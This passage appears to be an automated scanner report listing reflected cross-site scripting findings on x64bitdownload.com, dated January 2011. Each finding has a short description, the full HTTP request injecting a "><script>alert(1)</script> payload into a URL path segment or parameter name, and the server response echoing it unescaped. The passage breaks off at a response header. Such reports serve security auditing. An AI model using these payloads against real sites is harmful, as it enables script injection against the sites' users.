<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-home-hobby-downloads-9-0-d.htmlbb1e1"><script>alert(1)</script>16ffae90b65" /> ...[SNIP]...
4.1688. http://www.x64bitdownload.com/categories/free-64-bit-home-hobby-downloads-9-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c50ab"><script>alert(1)</script>641fff062a5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-home-hobby-downloads-9-0-d.html?c50ab"><script>alert(1)</script>641fff062a5=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:32:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:42:49 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%229%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90210
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-home-hobby-downloads-9-0-d.html?c50ab"><script>alert(1)</script>641fff062a5=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee9dc"><script>alert(1)</script>c8edc30f815 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesee9dc"><script>alert(1)</script>c8edc30f815/free-64-bit-multimedia-design-downloads-258-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:37:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesee9dc"><script>alert(1)</script>c8edc30f815/free-64-bit-multimedia-design-downloads-258-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a5b9"><script>alert(1)</script>2ee9fead789 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-multimedia-design-downloads-258-0-d.html1a5b9"><script>alert(1)</script>2ee9fead789 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:04 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22258%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29712
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-multimedia-design-downloads-258-0-d.html1a5b9"><script>alert(1)</script>2ee9fead789" /> ...[SNIP]...
4.1691. http://www.x64bitdownload.com/categories/free-64-bit-multimedia-design-downloads-258-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69348"><script>alert(1)</script>081516f460c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-multimedia-design-downloads-258-0-d.html?69348"><script>alert(1)</script>081516f460c=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:06 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A3%3A%22258%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29715
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-multimedia-design-downloads-258-0-d.html?69348"><script>alert(1)</script>081516f460c=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 343da"><script>alert(1)</script>afffd569a53 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories343da"><script>alert(1)</script>afffd569a53/free-64-bit-network-internet-downloads-10-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:35:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21336
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories343da"><script>alert(1)</script>afffd569a53/free-64-bit-network-internet-downloads-10-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53512"><script>alert(1)</script>5772985df31 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-network-internet-downloads-10-0-d.html53512"><script>alert(1)</script>5772985df31 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:57 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2210%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79787
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-network-internet-downloads-10-0-d.html53512"><script>alert(1)</script>5772985df31" /> ...[SNIP]...
4.1694. http://www.x64bitdownload.com/categories/free-64-bit-network-internet-downloads-10-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6798"><script>alert(1)</script>34b8fd1d87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-network-internet-downloads-10-0-d.html?f6798"><script>alert(1)</script>34b8fd1d87=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:41:41 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2210%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79789
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-network-internet-downloads-10-0-d.html?f6798"><script>alert(1)</script>34b8fd1d87=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e35c"><script>alert(1)</script>7c5db426e5d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories4e35c"><script>alert(1)</script>7c5db426e5d/free-64-bit-security-privacy-downloads-11-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:36:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21336
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories4e35c"><script>alert(1)</script>7c5db426e5d/free-64-bit-security-privacy-downloads-11-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b6ea"><script>alert(1)</script>ea41a27d65e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-security-privacy-downloads-11-0-d.html1b6ea"><script>alert(1)</script>ea41a27d65e HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2211%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86178
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-security-privacy-downloads-11-0-d.html1b6ea"><script>alert(1)</script>ea41a27d65e" /> ...[SNIP]...
4.1697. http://www.x64bitdownload.com/categories/free-64-bit-security-privacy-downloads-11-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e1e9"><script>alert(1)</script>3697cb785d8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-security-privacy-downloads-11-0-d.html?5e1e9"><script>alert(1)</script>3697cb785d8=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:11 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2211%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86181
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-security-privacy-downloads-11-0-d.html?5e1e9"><script>alert(1)</script>3697cb785d8=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7021b"><script>alert(1)</script>390428112e3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories7021b"><script>alert(1)</script>390428112e3/free-64-bit-servers-downloads-12-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:37:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21327
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories7021b"><script>alert(1)</script>390428112e3/free-64-bit-servers-downloads-12-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 203dc"><script>alert(1)</script>8b744dfd2ce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-servers-downloads-12-0-d.html203dc"><script>alert(1)</script>8b744dfd2ce HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:01 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2212%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79904
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-servers-downloads-12-0-d.html203dc"><script>alert(1)</script>8b744dfd2ce" /> ...[SNIP]...
4.1700. http://www.x64bitdownload.com/categories/free-64-bit-servers-downloads-12-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 410cf"><script>alert(1)</script>001936dc891 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-servers-downloads-12-0-d.html?410cf"><script>alert(1)</script>001936dc891=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:35 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2212%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 79907
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-servers-downloads-12-0-d.html?410cf"><script>alert(1)</script>001936dc891=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cff48"><script>alert(1)</script>712b29e0247 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriescff48"><script>alert(1)</script>712b29e0247/free-64-bit-system-utilities-downloads-13-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:36:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21336
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriescff48"><script>alert(1)</script>712b29e0247/free-64-bit-system-utilities-downloads-13-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a88d4"><script>alert(1)</script>bde65231c50 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-system-utilities-downloads-13-0-d.htmla88d4"><script>alert(1)</script>bde65231c50 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2213%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-system-utilities-downloads-13-0-d.htmla88d4"><script>alert(1)</script>bde65231c50" /> ...[SNIP]...
4.1703. http://www.x64bitdownload.com/categories/free-64-bit-system-utilities-downloads-13-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0a91"><script>alert(1)</script>06180f2151b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-system-utilities-downloads-13-0-d.html?d0a91"><script>alert(1)</script>06180f2151b=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:36 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2213%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 83155
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-system-utilities-downloads-13-0-d.html?d0a91"><script>alert(1)</script>06180f2151b=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a1be"><script>alert(1)</script>1593af6f4d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories9a1be"><script>alert(1)</script>1593af6f4d8/free-64-bit-web-development-downloads-14-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:36:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories9a1be"><script>alert(1)</script>1593af6f4d8/free-64-bit-web-development-downloads-14-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bca45"><script>alert(1)</script>88a1d2dd8e0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-web-development-downloads-14-0-d.htmlbca45"><script>alert(1)</script>88a1d2dd8e0 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:45 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2214%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89994
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-web-development-downloads-14-0-d.htmlbca45"><script>alert(1)</script>88a1d2dd8e0" /> ...[SNIP]...
4.1706. http://www.x64bitdownload.com/categories/free-64-bit-web-development-downloads-14-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80afd"><script>alert(1)</script>c425ef0f66e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-web-development-downloads-14-0-d.html?80afd"><script>alert(1)</script>c425ef0f66e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
